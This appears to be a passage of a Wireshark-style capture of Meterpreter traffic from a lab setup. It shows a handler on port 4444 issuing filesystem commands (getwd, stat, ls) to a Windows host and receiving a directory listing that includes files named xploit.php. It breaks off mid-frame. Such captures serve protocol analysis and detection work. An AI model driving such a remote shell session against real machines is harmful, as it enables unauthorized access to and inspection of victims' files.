0070  31 37 35 36 30 33 35 38 39 31 31 39 32 39 32 00   175603589119292.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     73 2024.721797    192.168.1.42          192.168.1.41          MTRPROT  127    4444 → 50768 [PSH, ACK] Seq=3148 Ack=3697 Win=96
Len=73
Frame 73: 127 bytes on wire (1016 bits), 127 bytes captured (1016 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 3148, Ack: 3697, Len: 73
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000049 [Command length]: 73
    Type: 0x00000000 [Command type: Request]: 0
    Data: 00000018000100017374646170695f66735f676574776400... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000018000100017374646170695f66735f6765747764 [TLV]
    Command: 0x00000018 [Length]: 24
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f676574776400 [Value] stdapi_fs_getwd
Meterpreter protocol, TLV details
    Data: 0000002900010002363032313732373533343637323236333... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3630323137323735333436373232363333639353731303137... [Value] 60217275346722636957101776852239
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 71 64 28 40 00 40 06 52 bb c0 a8 01 2a c0 a8   .qd(@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1e bf a3 78 ab c7 50 18   .).\.P.}...x..P.
0030  00 60 84 07 00 00 00 00 00 49 00 00 00 00 00 00   .`.......I......
0040  00 18 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  67 65 74 77 64 00 00 00 00 29 00 01 00 02 36 30   getwd....)....60
0060  32 31 37 32 37 35 33 34 36 37 32 32 36 33 36 39   2172753467226369
0070  35 37 31 30 31 37 37 36 38 35 32 32 33 39 00      57101776852239.
```

```
     74 2024.722619    192.168.1.41          192.168.1.42          MTRPROT  186    50768 → 4444 [PSH, ACK] Seq=3697 Ack=3221
Win=2052 Len=132
Frame 74: 186 bytes on wire (1488 bits), 186 bytes captured (1488 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 3697, Ack: 3221, Len: 132
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000084 [Command length]: 132
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001800010001737464617069 5f66735f676574776400... [Command payload]
Meterpreter protocol, TLV details
    Data: 000000180001000173746461706 95f66735f6765747764 [TLV]
    Command: 0x00000018 [Length]: 24
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f676574776400 [Value] stdapi_fs_getwd
Meterpreter protocol, TLV details
    Data: 00000029000100023630323137323735333436373232363 3... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 36303231373237353334363732323633363935373130313 7... [Value] 60217275346722636957101776852239
Meterpreter protocol, TLV details
    Data: 0000002f000104b0433a5c55736572735c6368656d692d75... [TLV]
    Command: 0x0000002f [Length]: 47
    Type: 0x000104b0 [Type: Response]: TLV_TYPE_DIRECTORY_PATH
    Data: 433a5c55736572735c6368656d692d7573756172696f5c44... [Value] C:\Users\chemi-usuario\Desktop\tfm\php
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 00 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 ac 0c fb 40 00 80 06 69 ad c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 ab c7 2e 7d 1f 08 50 18   .*.P.\.x...}..P.
0030  08 04 61 da 00 00 00 00 00 84 00 00 00 01 00 00   ..a.............
0040  00 18 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  67 65 74 77 64 00 00 00 00 29 00 01 00 02 36 30   getwd....)....60
0060  32 31 37 32 37 35 33 34 36 37 32 32 36 33 36 39   2172753467226369
0070  35 37 31 30 31 37 37 36 38 35 32 32 33 39 00 00   57101776852239..
0080  00 00 2f 00 01 04 b0 43 3a 5c 55 73 65 72 73 5c   ../....C:\Users\
0090  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 5c 44 65   chemi-usuario\De
00a0  73 6b 74 6f 70 5c 74 66 6d 5c 70 68 70 00 00 00   sktop\tfm\php...
00b0  00 0c 00 02 00 04 00 00 00 00                     ..........
```

```
     75 2024.823615    192.168.1.42          192.168.1.41          MTRPROT  173    4444 → 50768 [PSH, ACK] Seq=3221 Ack=3829 Win=99
Len=119
Frame 75: 173 bytes on wire (1384 bits), 173 bytes captured (1384 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 3221, Ack: 3829, Len: 119
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000077 [Command length]: 119
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001700010001737464617069 5f66735f737461740000... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000017000100017374646170695f66735f73746174 [TLV]
    Command: 0x00000017 [Length]: 23
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f7374617400 [Value] stdapi_fs_stat
Meterpreter protocol, TLV details
    Data: 000000290001000236363335303035383432313331343032... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 363633353030353834323133313430323035363131353230... [Value] 66350058421314020561152085139249
Meterpreter protocol, TLV details
    Data: 0000002f000104b2433a5c55736572735c6368656d692d75... [TLV]
    Command: 0x0000002f [Length]: 47
    Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
    Data: 433a5c55736572735c6368656d692d7573756172696f5c44... [Value] C:\Users\chemi-usuario\Desktop\tfm\php
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 9f 64 2a 40 00 40 06 52 8b c0 a8 01 2a c0 a8   ..d*@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1f 08 a3 78 ac 4b 50 18   .).\.P.}...x.KP.
0030  00 63 84 35 00 00 00 00 00 77 00 00 00 00 00 00   .c.5.....w......
0040  00 17 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  73 74 61 74 00 00 00 00 29 00 01 00 02 36 36 33   stat....)....663
0060  35 30 30 35 38 34 32 31 33 31 34 30 32 30 35 36   5005842131402056
0070  31 31 35 32 30 38 35 31 33 39 32 34 39 00 00 00   1152085139249...
0080  00 2f 00 01 04 b2 43 3a 5c 55 73 65 72 73 5c 63   ./....C:\Users\c
0090  68 65 6d 69 2d 75 73 75 61 72 69 6f 5c 44 65 73   hemi-usuario\Des
00a0  6b 74 6f 70 5c 74 66 6d 5c 70 68 70 00            ktop\tfm\php.
```

```
     76 2024.825615    192.168.1.41          192.168.1.42          MTRPROT  190    50768 → 4444 [PSH, ACK] Seq=3829 Ack=3340
Win=2051 Len=136
Frame 76: 190 bytes on wire (1520 bits), 190 bytes captured (1520 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 3829, Ack: 3340, Len: 136
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000088 [Command length]: 136
    Type: 0x00000001 [Command type: Response]: 1
    Data: 00000017000100017374646170695f66735f737461740000... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000017000100017374646170695f66735f73746174 [TLV]
    Command: 0x00000017 [Length]: 23
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f7374617400 [Value] stdapi_fs_stat
Meterpreter protocol, TLV details
    Data: 00000029000100023636333530303538343231333134303... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3636333530303538343231333134303230353631313532302... [Value] 66350058421314020561152085139249
Meterpreter protocol, TLV details
    Data: 00000034800004c4020000000000ff4101000000000000000... [TLV]
    Command: 0x00000034 [Length]: 52
    Type: 0x800004c4 [Type: Response]: TLV_TYPE_STAT_BUF
    Data: 020000000000ff41010000000000000000020000000000000... [Value] ⍰�A⍰⍰�ڗW�ڗW��zW���������
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 b0 0c fc 40 00 80 06 69 a8 c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 ac 4b 2e 7d 1f 7f 50 18   .*.P.\.x.K.}..P.
0030  08 03 e3 b4 00 00 00 00 00 88 00 00 00 01 00 00   ................
0040  00 17 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  73 74 61 74 00 00 00 00 29 00 01 00 02 36 36 33   stat....)....663
0060  35 30 30 35 38 34 32 31 33 31 34 30 32 30 35 36   5005842131402056
0070  31 31 35 32 30 38 35 31 33 39 32 34 39 00 00 00   1152085139249...
0080  00 34 80 00 04 c4 02 00 00 00 00 00 ff 41 01 00   .4..........A..
0090  00 00 00 00 00 00 02 00 00 00 00 00 00 00 a5 da   ................
00a0  97 57 a5 da 97 57 f0 ac 7a 57 ff ff ff ff ff ff   .W...W..zW......
00b0  ff ff 00 00 00 0c 00 02 00 04 00 00 00 00         ..............
```

```
     77 2024.926689    192.168.1.42          192.168.1.41          MTRPROT  171    4444 → 50768 [PSH, ACK] Seq=3340 Ack=3965 Win=101
Len=117
Frame 77: 171 bytes on wire (1368 bits), 171 bytes captured (1368 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 3340, Ack: 3965, Len: 117
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000075 [Command length]: 117
    Type: 0x00000000 [Command type: Request]: 0
    Data: 000000150001000173746461706 95f66735f6c7300000000... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000015000100017374646170695f66735f6c73 [TLV]
    Command: 0x00000015 [Length]: 21
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f6c7300 [Value] stdapi_fs_ls
Meterpreter protocol, TLV details
    Data: 000000290001000237333334313336323634313431303234... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3733333431333632363431343130323439333939373936373 9... [Value] 73341362641410249397967948503268
Meterpreter protocol, TLV details
    Data: 0000002f000104b0433a5c55736572735c6368656d692d75... [TLV]
    Command: 0x0000002f [Length]: 47
    Type: 0x000104b0 [Type: Request]: TLV_TYPE_DIRECTORY_PATH
    Data: 433a5c55736572735c6368656d692d7573756172696f5c44... [Value] C:\Users\chemi-usuario\Desktop\tfm\php
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 9d 64 2c 40 00 40 06 52 8b c0 a8 01 2a c0 a8   ..d,@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1f 7f a3 78 ac d3 50 18   .).\.P.}...x..P.
0030  00 65 84 33 00 00 00 00 00 75 00 00 00 00 00 00   .e.3.....u......
0040  00 15 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  6c 73 00 00 00 00 29 00 01 00 02 37 33 33 34 31   ls....)....73341
0060  33 36 32 36 34 31 34 31 30 32 34 39 33 39 37 39   3626414102493979
0070  36 37 39 34 38 35 30 33 32 36 38 00 00 00 00 2f   67948503268..../
0080  00 01 04 b0 43 3a 5c 55 73 65 72 73 5c 63 68 65   ....C:\Users\che
0090  6d 69 2d 75 73 75 61 72 69 6f 5c 44 65 73 6b 74   mi-usuario\Deskt
00a0  6f 70 5c 74 66 6d 5c 70 68 70 00                  op\tfm\php.
```

```
     78 2024.933798    192.168.1.41          192.168.1.42          MTRPROT  644    50768 → 4444 [PSH, ACK] Seq=3965 Ack=3457
Win=2051 Len=590
Frame 78: 644 bytes on wire (5152 bits), 644 bytes captured (5152 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 3965, Ack: 3457, Len: 590
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000024e [Command length]: 590
    Type: 0x00000001 [Command type: Response]: 1
    Data: 00000015000100017374646170695f66735f6c7300000000... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000015000100017374646170695f66735f6c73 [TLV]
    Command: 0x00000015 [Length]: 21
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f6c7300 [Value] stdapi_fs_ls
Meterpreter protocol, TLV details
    Data: 000000290001000237333334313336323634313431303234... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 373333343133363236343134313032343933393739363739... [Value] 73341362641410249397967948503268
Meterpreter protocol, TLV details
    Data: 0000000e000104b1612e706466 [TLV]
    Command: 0x0000000e [Length]: 14
    Type: 0x000104b1 [Type: Response]: TLV_TYPE_FILE_NAME
    Data: 612e70646600 [Value] a.pdf
Meterpreter protocol, TLV details
    Data: 00000035000104b2433a5c55736572735c6368656d692d75... [TLV]
    Command: 0x00000035 [Length]: 53
    Type: 0x000104b2 [Type: Response]: TLV_TYPE_FILE_PATH
    Data: 433a5c55736572735c6368656d692d7573756172696f5c44... [Value] C:\Users\chemi-usuario\Desktop\tfm\php\a.pdf
Meterpreter protocol, TLV details
    Data: 00000034800004c4020000000000b681010000000000000000... [TLV]
    Command: 0x00000034 [Length]: 52
    Type: 0x800004c4 [Type: Response]: TLV_TYPE_STAT_BUF
    Data: 020000000000b6810100000000000000000002000000f821ac00... [Value] □��□□�!��ݫW�ݫW�ݫW��������
Meterpreter protocol, TLV details
    Data: 00000010000104b16367692d62696e [TLV]
    Command: 0x00000010 [Length]: 16
    Type: 0x000104b1 [Type: Response]: TLV_TYPE_FILE_NAME
    Data: 6367692d62696e00 [Value] cgi-bin
Meterpreter protocol, TLV details
    Data: 00000037000104b2433a5c55736572735c6368656d692d75... [TLV]
    Command: 0x00000037 [Length]: 55
    Type: 0x000104b2 [Type: Response]: TLV_TYPE_FILE_PATH
    Data: 433a5c55736572735c6368656d692d7573756172696f5c44... [Value] C:\Users\chemi-usuario\Desktop\tfm\php\cgi-bin
Meterpreter protocol, TLV details
    Data: 00000034800004c4020000000000ff410100000000000000000... [TLV]
    Command: 0x00000034 [Length]: 52
    Type: 0x800004c4 [Type: Response]: TLV_TYPE_STAT_BUF
    Data: 020000000000ff410100000000000000000200000000000000... [Value] □�A□□"�zW"�zW"�zW��������
Meterpreter protocol, TLV details
    Data: 00000013000104b178706c6f69742e706870 [TLV]
    Command: 0x00000013 [Length]: 19
    Type: 0x000104b1 [Type: Response]: TLV_TYPE_FILE_NAME
    Data: 78706c6f69742e70687000 [Value] xploit.php
Meterpreter protocol, TLV details
    Data: 0000003a000104b2433a5c55736572735c6368656d692d75... [TLV]
    Command: 0x0000003a [Length]: 58
    Type: 0x000104b2 [Type: Response]: TLV_TYPE_FILE_PATH
    Data: 433a5c55736572735c6368656d692d7573756172696f5c44... [Value] C:\Users\chemi-usuario\Desktop\tfm\php\xploit.php
Meterpreter protocol, TLV details
    Data: 00000034800004c4020000000000b681010000000000000000... [TLV]
    Command: 0x00000034 [Length]: 52
    Type: 0x800004c4 [Type: Response]: TLV_TYPE_STAT_BUF
    Data: 020000000000b6810100000000000000000002000000b6030000... [Value] □��□□�□ʬzWt<�WʬzW��������
Meterpreter protocol, TLV details
    Data: 00000017000104b178706c6f69745f7068702e706870 [TLV]
    Command: 0x00000017 [Length]: 23
    Type: 0x000104b1 [Type: Response]: TLV_TYPE_FILE_NAME
    Data: 78706c6f69745f7068702e70687000 [Value] xploit_php.php
Meterpreter protocol, TLV details
    Data: 0000003e000104b2433a5c55736572735c6368656d692d75... [TLV]
    Command: 0x0000003e [Length]: 62
    Type: 0x000104b2 [Type: Response]: TLV_TYPE_FILE_PATH
    Data: 433a5c55736572735c6368656d692d7573756172696f5c44... [Value] C:\Users\chemi-usuario\Desktop\tfm\php\xploit_php.php
Meterpreter protocol, TLV details
    Data: 00000034800004c4020000000000b681010000000000000000... [TLV]
    Command: 0x00000034 [Length]: 52
    Type: 0x800004c4 [Type: Response]: TLV_TYPE_STAT_BUF
    Data: 020000000000b6810100000000000000000002000000b4030000... [Value] □��□□�□eꭓWj_�WeꭓW��������
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  02 76 0c fd 40 00 80 06 67 e1 c0 a8 01 29 c0 a8   .v..@...g....)..
0020  01 2a c6 50 11 5c a3 78 ac d3 2e 7d 1f f4 50 18   .*.P.\.x...}..P.
0030  08 03 3b a0 00 00 00 00 02 4e 00 00 00 01 00 00   ..;......N......
0040  00 15 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  6c 73 00 00 00 00 29 00 01 00 02 37 33 33 34 31   ls....)....73341
0060  33 36 32 36 34 31 34 31 30 32 34 39 33 39 37 39   3626414102493979
0070  36 37 39 34 38 35 30 33 32 36 38 00 00 00 00 0e   67948503268.....
0080  00 01 04 b1 61 2e 70 64 66 00 00 00 00 35 00 01   ....a.pdf....5..
0090  04 b2 43 3a 5c 55 73 65 72 73 5c 63 68 65 6d 69   ..C:\Users\chemi
00a0  2d 75 73 75 61 72 69 6f 5c 44 65 73 6b 74 6f 70   -usuario\Desktop
00b0  5c 74 66 6d 5c 70 68 70 5c 61 2e 70 64 66 00 00   \tfm\php\a.pdf..
00c0  00 00 34 80 00 04 c4 02 00 00 00 00 00 b6 81 01   ..4.............
00d0  00 00 00 00 00 00 00 02 00 00 00 f8 21 ac 00 a5   ............!...
00e0  da 97 57 a9 da 97 57 a5 da 97 57 ff ff ff ff ff   ..W...W...W.....
00f0  ff ff ff 00 00 00 10 00 01 04 b1 63 67 69 2d 62   ...........cgi-b
0100  69 6e 00 00 00 00 37 00 01 04 b2 43 3a 5c 55 73   in....7....C:\Us
0110  65 72 73 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   ers\chemi-usuari
0120  6f 5c 44 65 73 6b 74 6f 70 5c 74 66 6d 5c 70 68   o\Desktop\tfm\ph
0130  70 5c 63 67 69 2d 62 69 6e 00 00 00 00 34 80 00   p\cgi-bin....4..
0140  04 c4 02 00 00 00 00 00 ff 41 01 00 00 00 00 00   .........A......
0150  00 00 02 00 00 00 00 00 00 00 22 ad 7a 57 22 ad   ..........".zW".
0160  7a 57 22 ad 7a 57 ff ff ff ff ff ff ff ff 00 00   zW".zW..........
0170  00 13 00 01 04 b1 78 70 6c 6f 69 74 2e 70 68 70   ......xploit.php
0180  00 00 00 00 3a 00 01 04 b2 43 3a 5c 55 73 65 72   ....:....C:\User
0190  73 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 5c   s\chemi-usuario\
01a0  44 65 73 6b 74 6f 70 5c 74 66 6d 5c 70 68 70 5c   Desktop\tfm\php\
01b0  78 70 6c 6f 69 74 2e 70 68 70 00 00 00 00 34 80   xploit.php....4.
01c0  00 04 c4 02 00 00 00 00 00 b6 81 01 00 00 00 00   ................
01d0  00 00 00 02 00 00 00 b6 03 00 00 ca ac 7a 57 74   .............zWt
01e0  3c af 57 ca ac 7a 57 ff ff ff ff ff ff ff ff 00   <.W..zW.........
01f0  00 00 17 00 01 04 b1 78 70 6c 6f 69 74 5f 70 68   .......xploit_ph
0200  70 2e 70 68 70 00 00 00 00 3e 00 01 04 b2 43 3a   p.php....>....C:
0210  5c 55 73 65 72 73 5c 63 68 65 6d 69 2d 75 73 75   \Users\chemi-usu
0220  61 72 69 6f 5c 44 65 73 6b 74 6f 70 5c 74 66 6d   ario\Desktop\tfm
0230  5c 70 68 70 5c 78 70 6c 6f 69 74 5f 70 68 70 2e   \php\xploit_php.
0240  70 68 70 00 00 00 00 34 80 00 04 c4 02 00 00 00   php....4........
0250  00 00 b6 81 01 00 00 00 00 00 00 00 02 00 00 00   ................
0260  b4 03 00 00 65 d4 97 57 6a 5f c5 57 65 d4 97 57   ....e..Wj_.We..W
0270  ff ff ff ff ff ff ff ff 00 00 00 0c 00 02 00 04   ................
0280  00 00 00 00                                       ....
```

```
     79 2031.472359    192.168.1.42          192.168.1.41          MTRPROT  146    4444 → 50768 [PSH, ACK] Seq=3457 Ack=4555 Win=104
Len=92
Frame 79: 146 bytes on wire (1168 bits), 146 bytes captured (1168 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 3457, Ack: 4555, Len: 92
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005c [Command length]: 92
    Type: 0x00000000 [Command type: Request]: 0
    Data: 00000017000100017374646170695f66735f737461740000... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000017000100017374646170695f66735f73746174 [TLV]
    Command: 0x00000017 [Length]: 23
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f7374617400 [Value] stdapi_fs_stat
Meterpreter protocol, TLV details
    Data: 00000029000100023539343832353435303734363639353533... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 353934383235343530373436363935333736333538323530... [Value] 59482545074669537635825035398928
Meterpreter protocol, TLV details
    Data: 00000014000104b26578706c6f69742e706870 [TLV]
    Command: 0x00000014 [Length]: 20
    Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
    Data: 6578706c6f69742e70687000 [Value] exploit.php
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 84 64 2e 40 00 40 06 52 a2 c0 a8 01 2a c0 a8   ..d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1f f4 a3 78 af 21 50 18   .).\.P.}...x.!P.
0030  00 68 84 1a 00 00 00 00 00 5c 00 00 00 00 00 00   .h.......\......
0040  00 17 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  73 74 61 74 00 00 00 00 29 00 01 00 02 35 39 34   stat....)....594
0060  38 32 35 34 35 30 37 34 36 36 39 35 33 37 36 33   8254507466953763
0070  35 38 32 35 30 33 35 33 39 38 39 32 38 00 00 00   5825035398928...
0080  00 14 00 01 04 b2 65 78 70 6c 6f 69 74 2e 70 68   ......exploit.ph
0090  70 00                                             p.
```

```
     80 2031.476365    192.168.1.41          192.168.1.42          MTRPROT  138    50768 → 4444 [PSH, ACK] Seq=4555 Ack=3549
Win=2050 Len=84
Frame 80: 138 bytes on wire (1104 bits), 138 bytes captured (1104 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 4555, Ack: 3549, Len: 84
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000054 [Command length]: 84
    Type: 0x00000001 [Command type: Response]: 1
    Data: 00000017000100017374646170695f66735f737461740000... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000017000100017374646170695f66735f73746174 [TLV]
    Command: 0x00000017 [Length]: 23
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f7374617400 [Value] stdapi_fs_stat
Meterpreter protocol, TLV details
    Data: 000000290001000235393438323534353037343636393533... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3539343832353435303734363639353337363335383235303... [Value] 594825450746695376358250353989 28
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7c 0c fe 40 00 80 06 69 da c0 a8 01 29 c0 a8   .|..@...i....)..
0020  01 2a c6 50 11 5c a3 78 af 21 2e 7d 20 50 50 18   .*.P.\.x.!.} PP.
0030  08 02 2b 07 00 00 00 00 00 54 00 00 00 01 00 00   ..+......T......
0040  00 17 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  73 74 61 74 00 00 00 00 29 00 01 00 02 35 39 34   stat....)....594
0060  38 32 35 34 35 30 37 34 36 36 39 35 33 37 36 33   8254507466953763
0070  35 38 32 35 30 33 35 33 39 38 39 32 38 00 00 00   5825035398928...
0080  00 0c 00 02 00 04 00 00 00 01                     ..........
```

```
     81 2091.571612    192.168.1.42          192.168.1.41          MTRPROT  145    4444 → 50768 [PSH, ACK] Seq=3549 Ack=4639 Win=104
Len=91
Frame 81: 145 bytes on wire (1160 bits), 145 bytes captured (1160 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 3549, Ack: 4639, Len: 91
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005b [Command length]: 91
    Type: 0x00000000 [Command type: Request]: 0
    Data: 00000017000100017374646170695f66735f737461740000... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000017000100017374646170695f66735f73746174 [TLV]
    Command: 0x00000017 [Length]: 23
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f7374617400 [Value] stdapi_fs_stat
Meterpreter protocol, TLV details
    Data: 000000290001000237383133363832313430363630343738... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 373831333638323134303636303437383636393334343233... [Value] 78136821406604786693442381694645
Meterpreter protocol, TLV details
    Data: 00000013000104b278706c6f69742e706870 [TLV]
    Command: 0x00000013 [Length]: 19
    Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
    Data: 78706c6f69742e70687000 [Value] xploit.php
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 83 64 30 40 00 40 06 52 a1 c0 a8 01 2a c0 a8   ..d0@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 20 50 a3 78 af 75 50 18   .).\.P.} P.x.uP.
0030  00 68 84 19 00 00 00 00 00 5b 00 00 00 00 00 00   .h.......[......
0040  00 17 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  73 74 61 74 00 00 00 00 29 00 01 00 02 37 38 31   stat....)....781
0060  33 36 38 32 31 34 30 36 36 30 34 37 38 36 36 39   3682140660478669
0070  33 34 34 32 33 38 31 36 39 34 36 34 35 00 00 00   3442381694645...
0080  00 13 00 01 04 b2 78 70 6c 6f 69 74 2e 70 68 70   ......xploit.php
0090  00                                                .
```

```
     82 2091.573122    192.168.1.41          192.168.1.42          MTRPROT  190    50768 → 4444 [PSH, ACK] Seq=4639 Ack=3640
Win=2050 Len=136
